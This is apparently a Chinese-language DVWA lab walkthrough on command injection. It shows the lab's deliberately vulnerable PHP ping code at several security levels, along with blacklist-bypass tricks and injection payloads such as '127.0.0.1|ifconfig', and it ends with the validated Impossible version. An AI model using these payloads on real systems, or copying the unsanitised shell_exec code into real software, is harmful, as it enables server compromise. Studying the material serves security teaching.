Command Injection

命令注入

Low

源码解析

使用 $_REQUEST 获取 HTTP POST 请求提交的数据,未对其进行检查和过滤直接拼接到 ping 命令中。

shell_exec 用于通过 shell 环境执行指令,并将输出结果以字符串的形式返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

漏洞利用

shell 环境中用于拼接命令的符号有以下几个:

符号 说明
& 前一条命令在后台运行
&& 当且仅当前一条命令执行成功后执行下一条命令
|| 当且仅当前一条命令执行失败后执行下一条命令
| 将前一条命令的标准输出(stdout)作为下一条命令的输入
; 无论前一条指令是否执行成功,都执行下一条指令
1
2
3
4
5
# ping 127.0.0.1 成功,继续执行 ifconfig
127.0.0.1&&ifconfig

# 执行 ping 127.0.0.1 后继续执行 ifconfig
127.0.0.1;ifconfig
1
2
3
4
5
# ping a.b.c.d 失败,继续执行 ifconfig
a.b.c.d||ifconfig

# ifconfig 不接受输入
127.0.0.1|ifconfig
1
2
# ping 127.0.0.1 后台结束后返回
127.0.0.1&ifconfig

参阅

Medium

源码解析

在 Low 的基础上使用 str_replace 过滤符号 &&;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

漏洞利用

|||& 仍然可以使用,此外还可以使用 &&&&;& 等,过滤后就变为 &&&,同样可以实现漏洞利用。

1
2
3
4
5
6
7
8
# ping a.b.c.d 失败,继续执行 ifconfig
a.b.c.d||ifconfig

# ifconfig 不接受输入
127.0.0.1|ifconfig

# ping 127.0.0.1 后台结束后返回
127.0.0.1&ifconfig

参阅

High

源码解析

使用 trim 去除字符串首尾的空白字符,然后又过滤了许多符号,但是没有过滤 | ,显然可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', // <-- 这个有空格
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

漏洞利用

使用管道符 | 即可。

1
127.0.0.1|ifconfig

参阅

Impossioble

源码解析

使用 Anti-CSRF Token 来避免 CSRF 攻击,提交数据后先对 token 进行检查;然后使用 stripslashes 对提交的数据进行反转义,并用 explode 分割 ip 地址,再用 is_numeric 确保分割的每个部分都是数字,且只包含 4 个部分;最后拼接后再执行指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

参阅